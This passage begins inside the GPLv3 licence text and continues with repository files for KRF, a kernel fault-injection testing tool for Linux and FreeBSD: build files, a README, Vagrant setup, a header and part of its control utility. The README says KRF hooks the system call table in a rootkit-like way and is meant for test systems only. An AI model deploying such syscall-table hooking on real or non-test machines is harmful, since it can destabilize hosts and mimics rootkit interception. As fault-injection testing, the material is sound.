2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<https://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>.

View File

@ -0,0 +1,61 @@
export CFLAGS := -std=gnu99 -Wall -Werror -pedantic
export PLATFORM := $(shell uname -s | tr '[:upper:]' '[:lower:]')
CLANG_FORMAT := clang-format
ALL_SRCS := $(shell find . -type f \( -name '*.c' -o -name '*.h' \))
PREFIX = /usr/local
all: module krfexec krfctl krfmesg example
.PHONY: module
module:
$(MAKE) -C src/module/$(PLATFORM) module
.PHONY: krfexec
krfexec:
$(MAKE) -C src/krfexec
.PHONY: krfctl
krfctl:
$(MAKE) -C src/krfctl
.PHONY: krfmesg
krfmesg:
$(MAKE) -C src/krfmesg
.PHONY: insmod
insmod:
$(MAKE) -C src/module/$(PLATFORM) insmod
.PHONY: rmmod
rmmod:
$(MAKE) -C src/module/$(PLATFORM) rmmod
.PHONY: example
example:
$(MAKE) -C example
.PHONY: clean
clean:
$(MAKE) -C src/module/$(PLATFORM) clean
$(MAKE) -C src/krfexec clean
$(MAKE) -C src/krfctl clean
$(MAKE) -C example clean
.PHONY: fmt
fmt:
$(CLANG_FORMAT) -i -style=file $(ALL_SRCS)
.PHONY: install-module
install-module: module
$(MAKE) -C src/module/$(PLATFORM) install
.PHONY: install-utils
install-utils: krfexec krfctl krfmesg
install -d $(DESTDIR)$(PREFIX)/bin
install src/krfexec/krfexec $(DESTDIR)$(PREFIX)/bin
install src/krfctl/krfctl $(DESTDIR)$(PREFIX)/bin
install src/krfmesg/krfmesg $(DESTDIR)$(PREFIX)/bin
.PHONY: install
install: install-module install-utils

View File

@ -0,0 +1,258 @@
KRF
===
[![Build Status](https://img.shields.io/github/workflow/status/trailofbits/krf/CI/master)](https://github.com/trailofbits/krf/actions?query=workflow%3ACI)
KRF is a **K**ernelspace **R**andomized **F**aulter.
It currently supports the Linux and FreeBSD kernels.
## What?
[Fault injection](https://en.wikipedia.org/wiki/Fault_injection) is a software testing technique
that involves inducing failures ("faults") in the functions called by a program. If the callee
has failed to perform proper error checking and handling, these faults can result in unreliable
application behavior or exploitable vulnerabilities.
Unlike the many userspace fault injection systems out there, KRF runs in kernelspace
via a loaded module. This has several advantages:
* It works on static binaries, as it does not rely on `LD_PRELOAD` for injection.
* Because it intercepts raw syscalls and not their libc wrappers, it can inject faults
into calls made by `syscall(3)` or inline assembly.
* It's probably faster and less error-prone than futzing with `dlsym`.
There are also several disadvantages:
* You'll probably need to build it yourself.
* It probably only works on x86(_64), since it twiddles `cr0` manually. There is probably
an architecture-independent way to do that in Linux, somewhere.
* It's essentially a rootkit. You should definitely never, ever run it on a non-testing system.
* It probably doesn't cover everything that the Linux kernel expects of syscalls, and may
destabilize its host in weird and difficult to reproduce ways.
## How does it work?
KRF rewrites the Linux or FreeBSD system call table: when configured via `krfctl`, KRF replaces faultable
syscalls with thin wrappers.
Each wrapper then performs a check to see whether the call should be faulted using a configurable targeting system capable of targeting a specific `personality(2)`, PID, UID, and/or GID. If the process **shouldn't** be faulted, the original syscall is
invoked.
Finally, the targeted call is faulted via a random failure function. For example,
a `read(2)` call might receive one of `EBADF`, `EINTR`, `EIO`, and so on.
You can read more about KRF's implementation
[in our blog post](https://blog.trailofbits.com/2019/01/17/how-to-write-a-rootkit-without-really-trying/).
## Setup
### Compatibility
**NOTE**: If you have Vagrant, just use the Vagrantfile and jump to the build steps.
KRF should work on any recent-ish (4.15+) Linux kernel with `CONFIG_KALLSYMS=1`.
This includes the default kernel on Ubuntu 18.04 and probably many other recent distros.
### Dependencies
**NOTE**: Ignore this if you're using Vagrant.
Apart from a C toolchain (GCC is probably necessary for Linux), KRF's only dependencies should be
`libelf`, the kernel headers, and Ruby (>=2.4, for code generation).
GNU Make is required on all platforms; FreeBSD *additionally* requires BSD Make.
For systems with `apt`:
```bash
sudo apt install gcc make libelf-dev ruby linux-headers-$(uname -r)
```
### Building
```bash
git clone https://github.com/trailofbits/krf && cd krf
make -j$(nproc)
sudo make install # Installs module to /lib/modules and utils to /usr/local/bin
sudo make insmod # Loads module
```
or, if you're using Vagrant:
```bash
git clone https://github.com/trailofbits/krf && cd krf
vagrant up linux && vagrant ssh linux
# inside the VM
cd /vagrant
make -j$(nproc)
sudo make install # Installs module to /lib/modules and utils to /usr/local/bin
sudo make insmod # Loads module
```
or, for FreeBSD:
```bash
git clone https://github.com/trailofbits/krf && cd krf
cd vagrant up freebsd && vagrant ssh freebsd
# inside the VM
cd /vagrant
gmake # NOT make!
gmake install-module # Installs module to /boot/modules/
sudo gmake install-utils # Installs utils to /usr/local/bin
gmake insmod # Loads module
```
## Usage
KRF has three components:
* A kernel module (`krfx`)
* An execution utility (`krfexec`)
* A control utility (`krfctl`)
* A kernel module logger (`krfmesg`)
To load the kernel module, run `make insmod`. To unload it, run `make rmmod`.
For first time use it might be useful to launch `sudo krfmesg` on a separate terminal to see messages logged from `krfx`.
KRF begins in a neutral state: no syscalls will be intercepted or faulted until the user
specifies some behavior via `krfctl`:
```bash
# no induced faults, even with KRF loaded
ls
# tell krf to fault read(2) and write(2) calls
# note that krfctl requires root privileges
sudo krfctl -F 'read,write'
# tell krf to fault any program started by
# krfexec, meaning a personality of 28
sudo krfctl -T personality=28
# may fault!
krfexec ls
# tell krf to fault with a 1/100 (or 1%) probability
# note that this value is represented as a reciprocal
# so e.g. 1 means all faultable syscalls will fault
# and 500 means that on average every 500 syscalls will fault (1/500 or 0.2%)
sudo krfctl -p 100
# tell krf to fault `io` profile (and so i/o related syscalls)
sudo krfctl -P io
# krfexec will pass options correctly as well
krfexec echo -n 'no newline'
# clear the fault specification
sudo krfctl -c
# clear the targeting specification
sudo krfctl -C
# no induced faults, since no syscalls are being faulted
krfexec firefox
```
## Configuration
**NOTE**: Most users should use `krfctl` instead of manipulating these files by hand.
In FreeBSD, these same values are accessible through `sysctl krf.whatever` instead of procfs.
### `/proc/krf/rng_state`
This file allows a user to read and modify the internal state of KRF's PRNG.
For example, each of the following will correctly update the state:
```bash
echo "1234" | sudo tee /proc/krf/rng_state
echo "0777" | sudo tee /proc/krf/rng_state
echo "0xFF" | sudo tee /proc/krf/rng_state
```
The state is a 32-bit unsigned integer; attempting to change it beyond that will fail.
### `/proc/krf/targeting`
This file allows a user set the values used by KRF for syscall
targeting.
**NOTE**: KRF uses a default personality not currently used by the Linux kernel by default. If you change
this, you should be careful to avoid making it something that Linux cares about. `man 2 personality`
has the details.
```bash
echo "0 28" | sudo tee /proc/krf/targeting
```
A personality of 28 is hardcoded into `krfexec`, and must be set in order for things executed
by `krfexec` to be faulted.
### `/proc/krf/probability`
This file allows a user to read and write the probability of inducing fault for a given
(faultable) syscall.
The probability is represented as a reciprocal, e.g. `1000` means that, on average, `0.1%` of
faultable syscalls will be faulted.
```bash
echo "100000" | sudo tee /proc/krf/probability
```
### `/proc/krf/control`
This file controls the syscalls that KRF faults.
**NOTE**: Most users should use `krfctl` instead of interacting with this file directly &mdash;
the former will perform syscall name-to-number translation automatically and will provide clearer
error messages when things go wrong.
```bash
# replace the syscall in slot 0 (usually SYS_read) with its faulty wrapper
echo "0" | sudo tee /proc/krf/control
```
Passing any number greater than `KRF_NR_SYSCALLS` will cause KRF to flush the entire syscall table,
returning it to the neutral state. Since `KRF_NR_SYSCALLS` isn't necessarily predictable for
arbitrary versions of the Linux kernel, choosing a large number (like 65535) is fine.
Passing a valid syscall number that lacks a fault injection wrapper will cause the `write(2)`
to the file to fail with `EOPNOTSUPP`.
### `/proc/krf/log_faults`
This file controls whether or not KRF emits kernel logs on faulty syscalls. By default, no
logging messages are emitted.
**NOTE**: Most users should use `krfctl` instead of interacting with this file directly.
```bash
# enable fault logging
echo "1" | sudo tee /proc/krf/log_faults
# disable fault logging
echo "0" | sudo tee /proc/krf/log_faults
# read the logging state
cat /proc/krf/log_faults
```
## TODO
* Allow users to specify a particular class of faults, e.g. memory pressure (`ENOMEM`).
* This should be do-able by adding some more bits to the `personality(2)` value.
## Thanks
Many thanks go to [Andrew Reiter](https://github.com/roachspray) for the
[initial port](https://github.com/roachspray/fkrf) of KRF to FreeBSD. Andrew's work was performed
on behalf of the Applied Research Group at Veracode.
## Licensing
KRF is licensed under the terms of the GNU GPLv3.
See the [LICENSE](./LICENSE) file for the exact terms.

View File

@ -0,0 +1,39 @@
# frozen_string_literal: true
Vagrant.configure("2") do |config|
config.vm.provider :virtualbox do |vb|
vb.memory = ENV["KRF_VAGRANT_RAM"] || 2048
vb.cpus = ENV["KRF_VAGRANT_CPUS"] || 2
end
config.vm.define "linux" do |linux|
linux.vm.box = "ubuntu/bionic64"
linux.vm.provision :shell, inline: <<~PROVISION
sudo apt update
sudo DEBIAN_FRONTEND=noninteractive apt upgrade -y
sudo DEBIAN_FRONTEND=noninteractive apt install -y libelf-dev build-essential ruby linux-headers-$(uname -r)
sudo apt autoremove apport apport-systems
echo "/tmp/core_%e.krf.%p" | sudo tee /proc/sys/kernel/core_pattern
PROVISION
linux.vm.provider :virtualbox do |vb|
vb.customize ["modifyvm", :id, "--uartmode1", "disconnected"]
end
end
config.vm.define "freebsd" do |freebsd|
freebsd.ssh.shell = "sh"
freebsd.vm.synced_folder ".", "/vagrant", type: :rsync
freebsd.vm.box = "freebsd/FreeBSD-12.0-RELEASE"
freebsd.vm.provision :shell, inline: <<~PROVISION
su -m root -c 'pkg install -y gmake ruby'
su -m root -c 'svnlite co svn://svn.freebsd.org/base/releng/12.0 /usr/src'
PROVISION
freebsd.vm.provider :virtualbox do |vb|
vb.customize ["modifyvm", :id, "--nictype1", "virtio"]
vb.customize ["modifyvm", :id, "--nictype2", "virtio"]
end
end
end

View File

@ -0,0 +1,27 @@
#pragma once
/* Common defines and types needed across the krf utils and module */
/* Strings used to generate procfs filenames and sysctl strings */
#define KRF_PROC_DIR "krf"
#define KRF_RNG_STATE_FILENAME "rng_state"
#define KRF_PROBABILITY_FILENAME "probability"
#define KRF_CONTROL_FILENAME "control"
#define KRF_LOG_FAULTS_FILENAME "log_faults"
#define KRF_TARGETING_FILENAME "targeting"
/* Targeting modes */
typedef enum {
KRF_T_MODE_PERSONALITY = 0,
KRF_T_MODE_PID,
KRF_T_MODE_UID,
KRF_T_MODE_GID,
KRF_T_MODE_INODE,
// Insert new modes here
KRF_T_NUM_MODES
} krf_target_mode_t;
/* Netlink Defines */
/* Protocol family, consistent in both kernel prog and user prog. */
#define NETLINK_KRF 28
/* Multicast group, consistent in both kernel prog and user prog. */
#define NETLINK_MYGROUP 28

View File

@ -0,0 +1,22 @@
PROG := krfctl
SRCS := $(PROG).c table.gen.c profiles.gen.c $(wildcard ./$(PLATFORM)/*.c)
OBJS := $(SRCS:.c=.o)
YMLS = $(wildcard ../module/codegen/$(PLATFORM)/*.yml)
.PHONY: all
all: $(PROG)
table.gen.c: gentable
ruby gentable
profiles.gen.c: genprofiles $(YMLS)
ruby genprofiles
$(OBJS): $(SRCS)
$(PROG): $(OBJS)
.PHONY: clean
clean:
rm -f $(PROG) $(OBJS)
rm -f *.gen.c # gentable/genprofiles files

View File

@ -0,0 +1,106 @@
#include <stdio.h>
#include <string.h>
#include <sys/errno.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <err.h>
#include <string.h>
#include <sys/sysctl.h>
#include "../krfctl.h"
#include "../../common/common.h"
/* control will interpret any number larger than its syscall table
* as a command to clear all current masks.
* it's a good bet that FreeBSD will never have 65535 syscalls.
*/
#define CLEAR_MAGIC 65535
#define CONTROL_NAME KRF_PROC_DIR "." KRF_CONTROL_FILENAME
#define RNG_STATE_NAME KRF_PROC_DIR "." KRF_RNG_STATE_FILENAME
#define PROBABILITY_NAME KRF_PROC_DIR "." KRF_PROBABILITY_FILENAME
#define LOG_FAULTS_NAME KRF_PROC_DIR "." KRF_LOG_FAULTS_FILENAME
#define TARGETING_NAME KRF_PROC_DIR "." KRF_TARGETING_FILENAME
int fault_syscall(const char *sys_name) {
const char *sys_num;
unsigned int syscall;
if (!(sys_num = lookup_syscall_number(sys_name))) {
warnx("WARNING: couldn't find syscall %s", sys_name);
return 1;
}
if (sscanf(sys_num, "%u", &syscall) != 1) {
err(errno, "weird syscall number");
}
if (sysctlbyname(CONTROL_NAME, NULL, NULL, &syscall, sizeof(syscall)) < 0) {
if (errno == EOPNOTSUPP) {
errx(errno, "faulting for %s unimplemented", sys_name);
} else {
err(errno, "sysctl " CONTROL_NAME);
}
}
return 0;
}
void clear_faulty_calls(void) {
unsigned int clr = CLEAR_MAGIC;
if (sysctlbyname(CONTROL_NAME, NULL, NULL, &clr, sizeof(clr)) < 0) {
err(errno, "write " CONTROL_NAME);
}
}
void set_rng_state(const char *state) {
unsigned int rng_state;
if (sscanf(state, "%u", &rng_state) != 1) {
err(1, "Weird rng_state");
}
if (sysctlbyname(RNG_STATE_NAME, NULL, NULL, &rng_state, sizeof(rng_state)) < 0) {
err(errno, "write " RNG_STATE_NAME);
}
}
void set_prob_state(const char *state) {
unsigned int prob_state;
if (sscanf(state, "%u", &prob_state) != 1) {
err(1, "Weird prob_state");
}
if (sysctlbyname(PROBABILITY_NAME, NULL, NULL, &prob_state, sizeof(prob_state)) < 0) {
